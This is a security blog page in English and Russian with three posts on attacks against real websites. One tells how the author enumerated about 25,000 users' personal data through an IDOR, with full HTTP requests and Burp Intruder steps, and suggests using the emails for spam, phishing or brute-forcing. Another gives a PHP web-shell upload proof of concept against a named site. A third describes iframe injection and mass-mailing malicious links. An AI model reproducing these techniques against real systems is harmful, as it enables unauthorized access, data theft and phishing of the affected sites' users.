Protected: Частичный обход аутентификации vk.com

This content is password protected. To view it please enter your password below:

Advertisements

IDOR On site used cars, stealing a database 25,000 users

Saw advertising site that sells used cars, let’s call it the example.com, so as not to spoil the reputation of the resource, I decided  to test it for any vulnerabilities. Discovered a few non-critical and critical one.

It’s iDOR in your account, in the editing of personal data. A gross error, id account is transferred to the post request

POST /api/user/saveUserInfo HTTP/1.1
Host: www.****.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: eyJhbGffOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHBpcmUiOiIyMDE3LTAzLTEyIDE0OjMxOjI1IiwiZW1haWwiOiJxaWVjghpAZ21haWwuY29tIn0.RtQI9h5O16ZS48LuK6rwJXlc1MCNmY8ai5rMywLeEe8
Content-Type: application/json;charset=utf-8
Content-Length: 1590
Cookie: django_language=ru; utm_source=; utm_campaign=red_301; utm_medium=offline; _ga=GA1.2.1196308855.1481541724; _edata=”eyJ1c2VybmFtZSI6InFpZWNlekBnbWFpbC5jb20iLCJwYXNzd29yZCI6InF3ZXJ0eXoxIn0:1cGPlN:i5Sse_VzW0Jtu3tltK3iHCBLYuI”
Referer: https://yahoo.com/”>https://securityz.net/xss.js?habr
Connection: close

{“id”:59553,”user”:{“id”:59541,”email”:”ww@example.com”,”is_staff”:false,”date_joined”:”2016-12-12T12:20:18.444255Z”},”uuid”:”9b921350-5dce-4796-bdcc-ad11039a18d8″,”email”:”ww@example.com”,”state”:{“id”:59553,”state_data”:{“state”:”active”,”state_title”:”Активный”,”state_date”:”2016-12-12T12:30:39.513Z”,”state_val”:true,”state_extra”:{}},”created_extra”:{},”confirmed_extra”:{},”active_extra”:{},”blocked_extra”:{},”deleted_extra”:{},”last_modified”:”2016-12-12T12:30:39.514128Z”,”extra”:”{}”,”created”:true,”created_date”:”2016-12-12T12:20:18.474992Z”,”confirmed”:true,”confirmed_date”:”2016-12-12T12:30:39.480891Z”,”active”:true,”active_date”:”2016-12-12T12:30:39.513982Z”,”blocked”:false,”blocked_date”:null,”deleted”:false,”deleted_date”:null},”allowed_regions”:[],”info”:{“request_source_region”:null,”request_type”:1,”confirmation_code_mail”:null,”confirmation_code_sms”:null,”request_allowed_regions”:null},”images”:{},”is_analyst”:false,”is_mp_moderator”:false,”is_mp_manager”:false,”is_mp_dealer_manager”:false,”is_mp_supervisor”:false,”source_region”:8,”source_region_info”:{“id”:8,”administrative_area”:”Khmel’nyts’ka oblast”,”administrative_area_auto_ria”:”Хмельницк”,”ru_name”:”Хмельницкая область”,”uk_name”:”Хмельницька область”,”slug”:””,”region”:15},”phone”:”111″,”first_name”:”ww”,”last_name”:”ww”,”buyer_type”:1,”rating”:3,”additional_info”:null,”authorized”:false,”email_notification”:true,”sms_notification”:true,”inspect_regions”:[],”inspect_code”:null,”amount”:0,”personal_manager”:223,”supervisor”:51}

Change the “id”: 59541, protection trips, 403. Substitute id “: 59553, gives us your email address, location and name of the user id which is less than me, but do not change the user data, and issued me If changed – it would be.. more critical, we would change the email address on all accounts, and broke them.

There are various workarounds iDOR, the main – is:

HTTP Parameter Pollution – a new kind of attacks on web applications, the main advantage is the ability to bypass WAF (Web Application Firewall). Concept HPP was developed by Italian researchers Luca Carettoni and Stefano di Paola and presented at a recent conference OWASP AppSec EU09 Poland. – https://raz0r.name/articles/http-parameter-pollution/ (russian website).

When, for example, get or post request has similar variables example.com/edit.php?id=1. We can apply Http Parameter Pollution, to bypass the protection idor example.com/edit.php?id=1&id=2. Attention! During testing, you can often see a 403 error to think that, for example, the article is not edited using iDOR, but when we go into this article, we will see that it has changed. It does not have to be the answer 200. It is important to understand that if you are going as a example.com/edit/1, hpp then we can not apply.

Responce

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 12 Dec 2016 11:44:34 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
Content-Language: ru
Vary: Accept, Cookie, Accept-Language
allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
Content-Length: 1568

{“id”:59542,”user”:{“id”:59530,”email”:”dimat_**@gmail.com”,”is_staff”:false,”date_joined”:”2016-12-12T11:32:25.950746Z”},”uuid”:”8e8a0ae6-c587-4f44-8e74-e7583f4cdd2e”,”email”:”dimat_**@gmail.com”,”state”:{“id”:59542,”state_data”:{“state”:”active”,”state_title”:”Активный”,”state_date”:”2016-12-12T11:34:51.070Z”,”state_val”:true,”state_extra”:{}},”created_extra”:{},”confirmed_extra”:{},”active_extra”:{},”blocked_extra”:{},”deleted_extra”:{},”last_modified”:”2016-12-12T11:34:51.070647Z”,”extra”:”{}”,”created”:true,”created_date”:”2016-12-12T11:32:25.978469Z”,”confirmed”:true,”confirmed_date”:”2016-12-12T11:34:51.024676Z”,”active”:true,”active_date”:”2016-12-12T11:34:51.070421Z”,”blocked”:false,”blocked_date”:null,”deleted”:false,”deleted_date”:null},”allowed_regions”:[],”info”:{“request_source_region”:null,”confirmation_code_sms”:null,”request_allowed_regions”:null,”confirmation_code_mail”:null,”request_type”:1},”images”:{},”is_analyst”:false,”is_mp_moderator”:false,”is_mp_manager”:false,”is_mp_dealer_manager”:false,”is_mp_supervisor”:false,”source_region”:26,”source_region_info”:{“id”:26,”administrative_area”:”Kyivs’ka oblast”,”administrative_area_auto_ria”:”Киев”,”ru_name”:”Киевская область”,”uk_name”:”Київська область”,”slug”:””,”region”:1},”phone”:”**”,”first_name”:”**”,”last_name”:”**??,”buyer_type”:1,”rating”:3,”additional_info”:null,”authorized”:false,”email_notification”:true,”sms_notification”:true,”inspect_regions”:[],”inspect_code”:null,”amount”:0,”personal_manager”:223,”supervisor”:51}

Well, we found iDOR, and can go to report vulnerabilities.

But many companies do not realize the danger, immediately fix the vulnerability, and prove that it was not dangerous.

Therefore, we are exploiting this iDOR.

Usually after finding iDOR, pick up a few hand-identifier values, then the vulnerability report.

But it is not trying to “spin” more.

In this article I want to tell you about how using iDOR in your account, you can get the personal information of all website users, including administrators (never noticed that wrote about it).

Our id 59553, rounded, we learn that the resource has 60 thousand users.

Now you need use program, that mass goes through requests and gives the answer – Burp licensed to Lary_Lau Intruder. We throw an request to intruder (ctrl + I), select the numbers in the Positions tab, and  in the Payloads tab select numbers from 1 to 59,552. Starting the attack.

Unfortunately, I went through id’s only up to 25 thousand, and the rest could not, administrators delete my account, blocked ip address, and closed the request edit personal information (this is really fun :))

kkk

Press button save server responses

hh

,

get a file from the 50 MB of data.

If you want to – sort the data (only keep email addresses for spam / phishing mailings / bruteforce accounts) in excel or a text editor.

But in order to prove the danger of the administration, 50 MB should be enough answers. Writing an IT company that caters to example.com:

qiece: December 13, 2016, 16:24. Hi, Sergey. Yesterday discovered vulnerability at insecure dor editing data in the personal account of the user …

qiece: December 13, 2016, 16:46. I can send you the database to confirm? When i get response?
Representative example.com: December 13, 2016, 16:48 No, do not send base.
The representative of the example.com: December 13, 2016, 17:35 Max, two points:

1) I need to talk over the matter with the owner of the resource, which periodicity

2) “test” you see – occasionally or on a regular basis? December 13, 2016, qiece: December 13, 2016, 18:44 on a regular basis

qiece: December 14 Good evening, Sergei. Are you discuss cooperation with the owner of a site ???

qiece: December 15th ???
qiece: December 16, 2016, 12:10 Tell me at least, what kind of response the owner. He that is still on his website?
Representative example.com: December 16, 2016, 12:37 Maxim, good afternoon. The site owner is very interested in safe work of the site. Shortly, he will make a decision and I’ll know it.

qiece: December 20, 2016, 17:51 Good evening. When you answer? Ignoring – is not the solution to the holes in the security of the site and the compromised user database.

December 14 vulnerabilities fixed, was removed from the post variable id request and said no thanks. With the database 25,000 users, which has been merged – not to say that I deleted it and did not offer the NDA, the company do not care.
I, of course, after a few days of unsuccessful correspondence with the company, deleted a file with this database, because I do not want any trouble. Some black hat could sell it in the darknet.
In this situation, do not blame the company-developer. Blame the owner, who does not think about the site’s security and saves money on it.I hope that this project will grow and eliminate its security holes.
Good luck in the search for vulnerabilities.
Subscribe to Twitter https://twitter.com/MaximYaremchuk .

IDOR на сайте подержанных авто, кража данных 25 000 пользователей

Увидел рекламу сайта, назовем его example.com, чтобы не портить репутацию ресурса, решил решил протестировать его на наличие уязвимостей. Обнаружил несколько не критических и одну критическую.

Это iDOR в личном кабинете, в редактировании личных данных. Грубая ошибка, id аккаунта передается в post запросе

POST /api/user/saveUserInfo HTTP/1.1
Host: www.****.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: eyJhbGffOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHBpcmUiOiIyMDE3LTAzLTEyIDE0OjMxOjI1IiwiZW1haWwiOiJxaWVjghpAZ21haWwuY29tIn0.RtQI9h5O16ZS48LuK6rwJXlc1MCNmY8ai5rMywLeEe8
Content-Type: application/json;charset=utf-8
Content-Length: 1590
Cookie: django_language=ru; utm_source=; utm_campaign=red_301; utm_medium=offline; _ga=GA1.2.1196308855.1481541724; _edata=”eyJ1c2VybmFtZSI6InFpZWNlekBnbWFpbC5jb20iLCJwYXNzd29yZCI6InF3ZXJ0eXoxIn0:1cGPlN:i5Sse_VzW0Jtu3tltK3iHCBLYuI”
Referer: https://yahoo.com/”>https://securityz.net/xss.js?habr
Connection: close

{“id”:59553,”user”:{“id”:59541,”email”:”ww@example.com”,”is_staff”:false,”date_joined”:”2016-12-12T12:20:18.444255Z”},”uuid”:”9b921350-5dce-4796-bdcc-ad11039a18d8″,”email”:”ww@example.com”,”state”:{“id”:59553,”state_data”:{“state”:”active”,”state_title”:”Активный”,”state_date”:”2016-12-12T12:30:39.513Z”,”state_val”:true,”state_extra”:{}},”created_extra”:{},”confirmed_extra”:{},”active_extra”:{},”blocked_extra”:{},”deleted_extra”:{},”last_modified”:”2016-12-12T12:30:39.514128Z”,”extra”:”{}”,”created”:true,”created_date”:”2016-12-12T12:20:18.474992Z”,”confirmed”:true,”confirmed_date”:”2016-12-12T12:30:39.480891Z”,”active”:true,”active_date”:”2016-12-12T12:30:39.513982Z”,”blocked”:false,”blocked_date”:null,”deleted”:false,”deleted_date”:null},”allowed_regions”:[],”info”:{“request_source_region”:null,”request_type”:1,”confirmation_code_mail”:null,”confirmation_code_sms”:null,”request_allowed_regions”:null},”images”:{},”is_analyst”:false,”is_mp_moderator”:false,”is_mp_manager”:false,”is_mp_dealer_manager”:false,”is_mp_supervisor”:false,”source_region”:8,”source_region_info”:{“id”:8,”administrative_area”:”Khmel’nyts’ka oblast”,”administrative_area_auto_ria”:”Хмельницк”,”ru_name”:”Хмельницкая область”,”uk_name”:”Хмельницька область”,”slug”:””,”region”:15},”phone”:”111″,”first_name”:”ww”,”last_name”:”ww”,”buyer_type”:1,”rating”:3,”additional_info”:null,”authorized”:false,”email_notification”:true,”sms_notification”:true,”inspect_regions”:[],”inspect_code”:null,”amount”:0,”personal_manager”:223,”supervisor”:51}

Изменяем “id”:59541 , срабатывает защита, 403. Подменяем id”:59553, нам выдает email адрес, местоположение и имя пользователя, что на id меньше меня. Но данные юзера не изменяются, а выдаются мне. Если бы изменялись – было бы критичнее, мы бы изменили email адреса на всех аккаунтах и взломали их.

Существуют разные методы обхода iDOR, главная – это:

HTTP Parameter Pollution — это новый вид атак на веб-приложения, основным преимуществом которого является возможность обхода WAF (Web Application Firewall). Концепт HPP был разработан итальянскими исследователями Luca Carettoni и Stefano di Paola и представлен на недавно прошедшей конференции OWASP AppSec EU09 Poland. – https://raz0r.name/articles/http-parameter-pollution/

Когда, например, в get или post запросе есть подобные переменные example.com/edit.php?id=1 . Мы можем применить Http Parameter Pollution, чтобы обойти защиту idor example.com/edit.php?id=1&id=2 . Внимание! В процессе тестирования часто можно увидеть ошибку 403 и подумать, что, например, статья не отредактирована с  помощью iDOR, но когда мы зайдем в эту статью, то увидим, что она изменилась. НЕ обязательно должен быть ответ 200. Важно понимать, что если ид идет в виде example.com/edit/1 , то hpp мы не сможем применить.

Ответ

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 12 Dec 2016 11:44:34 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
Content-Language: ru
Vary: Accept, Cookie, Accept-Language
allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
Content-Length: 1568

{“id”:59542,”user”:{“id”:59530,”email”:”dimat_**@gmail.com”,”is_staff”:false,”date_joined”:”2016-12-12T11:32:25.950746Z”},”uuid”:”8e8a0ae6-c587-4f44-8e74-e7583f4cdd2e”,”email”:”dimat_**@gmail.com”,”state”:{“id”:59542,”state_data”:{“state”:”active”,”state_title”:”Активный”,”state_date”:”2016-12-12T11:34:51.070Z”,”state_val”:true,”state_extra”:{}},”created_extra”:{},”confirmed_extra”:{},”active_extra”:{},”blocked_extra”:{},”deleted_extra”:{},”last_modified”:”2016-12-12T11:34:51.070647Z”,”extra”:”{}”,”created”:true,”created_date”:”2016-12-12T11:32:25.978469Z”,”confirmed”:true,”confirmed_date”:”2016-12-12T11:34:51.024676Z”,”active”:true,”active_date”:”2016-12-12T11:34:51.070421Z”,”blocked”:false,”blocked_date”:null,”deleted”:false,”deleted_date”:null},”allowed_regions”:[],”info”:{“request_source_region”:null,”confirmation_code_sms”:null,”request_allowed_regions”:null,”confirmation_code_mail”:null,”request_type”:1},”images”:{},”is_analyst”:false,”is_mp_moderator”:false,”is_mp_manager”:false,”is_mp_dealer_manager”:false,”is_mp_supervisor”:false,”source_region”:26,”source_region_info”:{“id”:26,”administrative_area”:”Kyivs’ka oblast”,”administrative_area_auto_ria”:”Киев”,”ru_name”:”Киевская область”,”uk_name”:”Київська область”,”slug”:””,”region”:1},”phone”:”**”,”first_name”:”**”,”last_name”:”**??,”buyer_type”:1,”rating”:3,”additional_info”:null,”authorized”:false,”email_notification”:true,”sms_notification”:true,”inspect_regions”:[],”inspect_code”:null,”amount”:0,”personal_manager”:223,”supervisor”:51}

Отлично, мы нашли iDOR, можно идти сообщать об уязвимости.

Но многие компании не понимают всей опасности, сразу исправляют уязвимость и доказывают, что она не была опасная.

Поэтому эксплуатируем эту iDOR.

Обычно после того, как находят iDOR, подбирают вручную несколько значений идентификатора, потом репортят уязвимость.

Но не пытаются её “раскрутить” ещё больше.

В этой статье я хочу рассказать о том, как с помощью iDOR в личном кабинете можно получить личные данные всех пользователей ресурса, в том числе админов(нигде не заметил, чтобы об этом писали).

Наш ид 59553 , округляем, узнаем, что на ресурсе 60 тысяч пользователей.

Теперь нужна тузла, что массово перебирает запросы и отдает ответ – Burp licensed to Lary_Lau Intruder.  Кидаем запрос в интрудер (ctrl+I), выделяем цифры во вкладке Positions, во вкладке Payloads выбираем numbers от 1 до 59552, начинаем атаку.

К сожалению, я перебрал id’ы только до 25 тысяч, остальные не смог, админы удалили мой аккаунт, заблокировали ip адрес и закрыли запрос редактирования личных данных(это радует 🙂 )

kkk

Нажимаем save server responses

hh

, получаем файл из 50 МБ данных.

Если нужно – сортируем данные (сохраняем только email адреса для спам/фишинговой рассылки, брутфорсинга аккаунтов) в excel или в текстовом редакторе.

Но для того, чтобы доказать опасность администрации, 50 МБ ответов должно хватить. Пишем IT компании, которая обслуживает example.com:

qiece:13 декабря 2016, 16:24. Добрый день, Сергей. Вчера обнаружил уязвимость insecure dor в редактировании данных в личном кабинете юзера…

qiece: 13 декабря 2016, 16:46. Вам прислать базу в подтверждение? Когда ждать ответ?
Представитель example.com: 13 декабря 2016, 16:48 нет, базу высылать не нужно.
Представитель example.com: 13 декабря 2016, 17:35 Максим, два момента:
 1)мне нужно данный вопрос проговорить с владельцем ресурса, какую переодичность 2)”тестирования” Вы видите – от случая к случаю или на регулярной основе? 13 декабря 2016, qiece: 13 декабря 2016, 18:44 На регулярной основе
qiece: 14 декабря Добрый вечер, Сергей. Обсудили сотрудничество с владельцем ресурса???
qiece: 15 декабря ???
qiece: 16 декабря 2016, 12:10 Скажите хотя бы, какой ответ владельца. Ему что, все равно на его сайт?
Представитель example.com: 16 декабря 2016, 12:37 Максим, добрый день. Владелец сайта очень заинтересован в безопасной работе сайта. В ближайшее время он примет решение и я его буду знать.

qiece: 20 декабря 2016, 17:51 Добрый вечер. Когда будет ответ? Игнорирование – это не решение проблемы с дырами в безопасности сайта и взломанной базой данных пользователей.

14 декабря уязвимость исправили, убрали из post запроса переменную id и даже спасибо не сказали. Что по базе данных 25 000 пользователей, которая была слита – не сказали, чтобы я её удалил и не предложили NDA, компании все равно.
Я, конечно, через несколько дней безуспешной переписки с компанией, удалил файл с этой базой, ведь мне не нужны неприятности. А какой-то black hat мог бы не удалить базу и продать её в даркнет.
В этой ситуации виновата не компания-разработчик, а владелец, который не думает о безопасности сайта и экономит на этом.
Очень надеюсь, что этот проект вырастет и устранит свои дыры в безопасности.
Всем удачи в поисках уязвимостей.
Подписывайтесь на твиттер https://twitter.com/MaximYaremchuk

Self XSS in error Content-Type on 20 000 + websites (en)

Continuing my previous post https://securityz.wordpress.com/2017/01/10/iframe_injection_20000/  .

Self xss vulnerability in the support userecho.com sites.

Select the boot image, trying to load the shell, but get an error File type is not supported for image: application / octet-stream.

It’s like xss in the file name, but here xss in the content type.

PoC:

POST /upload/content/image/6/ HTTP/1.1
Host: support.gismeteo.ru
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Length: 288
Content-Type: multipart/form-data; boundary=—————————20589225426059
Cookie: uesessionid=hyfzrsuchqs7nckrbk1oeuijs1muyyct; csrftoken=B1zifrapMiiITZqW5WVtjD4Ye5Qn3Vv0v7iol6d75rcNLnKSMyLoFSgyuWXeVTky
Referer: https://yahoo.com/
Connection: close

—————————–20589225426059
Content-Disposition: form-data; name=”content”; filename=”shell3.php”
Content-Type: application/octet-stream

<? if($_GET[‘cmd’]) { system($_GET[‘cmd’]); } ?>
—————————–20589225426059–

Vulnerability is at more than 20,000 sites and the sites of this http://userecho.com/clients/?lang=ru list. Support is not considered dangerous, and this vulnerability has decided not to fix it.

Video https://www.youtube.com/watch?v=gqt4TzUUw8Q .

Subscribe https://twitter.com/MaximYaremchuk for more articles)

Self XSS в ошибке Content-Type на более чем 20 000 сайтах (ru)

Продолжение моего предыдущего поста https://securityz.wordpress.com/2017/01/10/iframe_injection_20000/ .

Self xss уязвимость в тех поддержке сайтов userecho.com .

Выбираем загрузку изображения, пытаемся загрузить шелл, но получаем ошибку File type is not supported for image:application/octet-stream .

Это похоже на xss в имени файла, но здесь xss в content type.

PoC:

POST /upload/content/image/6/ HTTP/1.1
Host: support.gismeteo.ru
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Length: 288
Content-Type: multipart/form-data; boundary=—————————20589225426059
Cookie: uesessionid=hyfzrsuchqs7nckrbk1oeuijs1muyyct; csrftoken=B1zifrapMiiITZqW5WVtjD4Ye5Qn3Vv0v7iol6d75rcNLnKSMyLoFSgyuWXeVTky
Referer: https://yahoo.com/
Connection: close

—————————–20589225426059
Content-Disposition: form-data; name=”content”; filename=”shell3.php”
Content-Type: application/octet-stream<img src=x onerror=prompt(1)>

<? if($_GET[‘cmd’]) { system($_GET[‘cmd’]); } ?>
—————————–20589225426059–

Уязвимость находится на более чем 20 тысяч сайтах и сайты из этого списка http://userecho.com/clients/?lang=ru . Поддержка не посчитала эту уязвимость опасной и решила её не исправлять.

Видео https://www.youtube.com/watch?v=gqt4TzUUw8Q .

Подписывайся https://twitter.com/MaximYaremchuk )

Iframe injection and XSS on over 20 000 websites (en)

I decided to walk on top alexarank http://www.alexa.com/topsites/countries/UA, I began to look for vulnerabilities on gismeteo.ua (20th place in country). There has been a redirect to the Russian version of https://www.gismeteo.ru/soft/, drew my attention to the support.

Support is located at https://gismeteo.userecho.com and loaded on gismeteo in iframe https://gismeteo.userecho.com/s/interframe.html?url=https://gismeteo.userecho.com/widget/forum /6-/?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www.gismeteo.ru&xdm_c=default4178&xdm_p=1. Then there is a form to create a ticket.

I tried to upload a website in iframe https://gismeteo.userecho.com/s/interframe.html?url=https://securityz.net, but it is not loaded. Then I realized that in addition to the feed url site still need other variables: lang, referer, xdm_e and others.

http://support.gismeteo.ru/s/interframe.html?url=https://securityz.net/?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www .gismeteo.ru & xdm_c = default4178 & xdm_p = 1 and my site loaded in the frame.

Video https://www.youtube.com/watch?v=9P4A1AGxxYc .

It turned out that the owner userecho.com widget uses the same api at all sites for customer technical support, hence the conclusion that all of its customers vulnerable to iframe injection.

I find a list of the top http://userecho.com/clients/?lang=ru clients and understand that a lot of vulnerable clients – this is the most visited sites – drugvokrug.ru (social network, more than 5 million users) fl.ru (most popular freelance Exchange in Russian), easypay.ua (one of the most visited of payment systems in Ukraine), tankionline.com, ivi.ru, amiro.ru, okko.tv, insales.ru, a-lab.ru, scrapinghub.com, iridiummobile.net and many others. Almost all the sites are placed UserEcho widget on your subdomain, an example http://ask.drugvokrug.ru/, but some place it as a subdomain on userecho http://kontur.userecho.com/.

The vectors of attack:

To distribute a malicious link, you must first shorten the link goo.gl/GIYRUR, then:

  1. Mass send to forums and email addresses.
  2. Purposefully attack a specific user or administrator using this vulnerability.

It would be possible to send messages about vulnerability for each affected site, but the vulnerability would be promptly corrected developers userecho and I could not get anything from vulnerable sites or from the widget developers.

Therefore, I decided immediately to report the discovery of this plug-in developers.

09.01.2017 at 23:00 sent a bug report to the support userecho.com.

10.01.2017 at 00:10 vulnerability fixed and vulnerable file interframe.html  is deleted (comment from developers – interframe.html file is no longer available (deleted) and all the widgets work without file. Therefore, all working with the same API).

01.10.2017 at 02:14 developers paid a reward of $ 100 to me. A comment:

You must understand that we are not such a big company. In addition, it generally is the first time we decided to give someone a monetary reward.

Also, I found SELF XSS vulnerability in the support userecho and it is not going to fix, vulnerability affects more than 20 thousand sites, here’s an article https://securityz.wordpress.com/2017/01/10/self-xss_en/, and PoC. I hardly persuaded developers eliminate the iframe injection:

We saw on the logs that you play with interframe.html and understand why and how it was used. Only option was not clear how to use it to good use.

Since we now understand use cases and you are prompted to fix us, we are ready to transfer you  100USD.

Subscribe https://twitter.com/MaximYaremchuk for more articles)

Iframe injection и XSS на более чем 20 000 сайтах (ru)

Решил пройтись по топу alexarank http://www.alexa.com/topsites/countries/UA , начал искать уязвимости на gismeteo.ua ( 20 место ) . Произошел редирект на русскую версию https://www.gismeteo.ru/soft/ , обратил внимание на тех поддержку.

Техподдержка находилась по адресу https://gismeteo.userecho.com и загружалась на gismeteo в iframe https://gismeteo.userecho.com/s/interframe.html?url=https://gismeteo.userecho.com/widget/forum/6-/?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www.gismeteo.ru&xdm_c=default4178&xdm_p=1 . Потом появлялась форма для создания тикета.

Я попытался загрузить свой сайт в iframe https://gismeteo.userecho.com/s/interframe.html?url=https://securityz.net , но он не грузился. Потом понял, что кроме url загружаемого сайта нужны еще и переменные lang,referer, xdm_e и другие.

http://support.gismeteo.ru/s/interframe.html?url=https://securityz.net/?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www.gismeteo.ru&xdm_c=default4178&xdm_p=1 и мой сайт загрузился во фрейме.

Видео https://www.youtube.com/watch?v=9P4A1AGxxYc .

Оказалось, что владелец виджета userecho.com использует один и тот же api на всех сайтах клиентов для техподдержки, отсюда вывод, что все его клиенты уязвимы к iframe injection.

Находим список топ клиентов http://userecho.com/clients/?lang=ru и понимаем, что много уязвимых клиентов – это наиболее посещаемые сайты – drugvokrug.ru (социальная сеть, более 5 000 000 пользователей) fl.ru (самая популярная фриланс биржа в России)  , easypay.ua (одна из наиболее посещаемых платежных систем в Украина)  , tankionline.com , ivi.ru , amiro.ru , okko.tv , insales.ru , a-lab.ru , scrapinghub.com , iridiummobile.net и много других. Почти все сайты размещают виджет userecho на своём поддомене, пример http://ask.drugvokrug.ru/ , но некоторые размещают его как поддомен на userecho http://kontur.userecho.com/  .

Векторы атаки:

Чтобы распространить вредоносную ссылку, нужно сначала укоротить ссылку goo.gl/GIYRUR , потом:

  1. Массово рассылать на форумы, по email адресам.
  2. Целенаправленно атаковать определенного юзера или админа с помощью этой уязвимости.

Можно было бы отправлять сообщения об уязвимости на каждый уязвимый сайт, но уязвимость была бы оперативно исправлена разработчиками userecho и я мог бы не получить ничего ни от уязвимых сайтов, ни от разработчиков виджета.

Поэтому решил сразу сообщить о находке разработчикам плагина.

09.01.2017 в 23:00 отправлен баг репорт в тех  поддержку userecho.com.

10.01.2017 в 00:10 уязвимость исправлена и уязвимый файл interframe.html удален (комментарий от разработчиков – файл interframe.html больше недоступен (удален) и все виджеты работают без него. Поэтому все работает с тем же API.) .

10.01.2017 в 02:14 разработчики выплатили награду $100. Комментарий:

Вы должны понимать, что мы не такая крупная компания. К тому же, это вообще первый случай когда мы решили дать кому-то денежное вознаграждение.

Также я обнаружил SELF XSS уязвимость в поддержке userecho и ее не собираются исправлять, уязвимости подвержены более 20 тысяч сайтов, вот статья https://securityz.wordpress.com/2017/01/10/self-xsx_ru/ и PoC . Я еле уговорил разработчиков устранить iframe injection:

Мы видели по логам, что вы игрались с interframe.html и в принципе понимали для чего и как его использовали. Только не был понятен вариант как использовать это с пользой.

Так как теперь мы понимаем варианты использования и Вы подвигли нас на исправления мы готовы перевести Вам 100USD.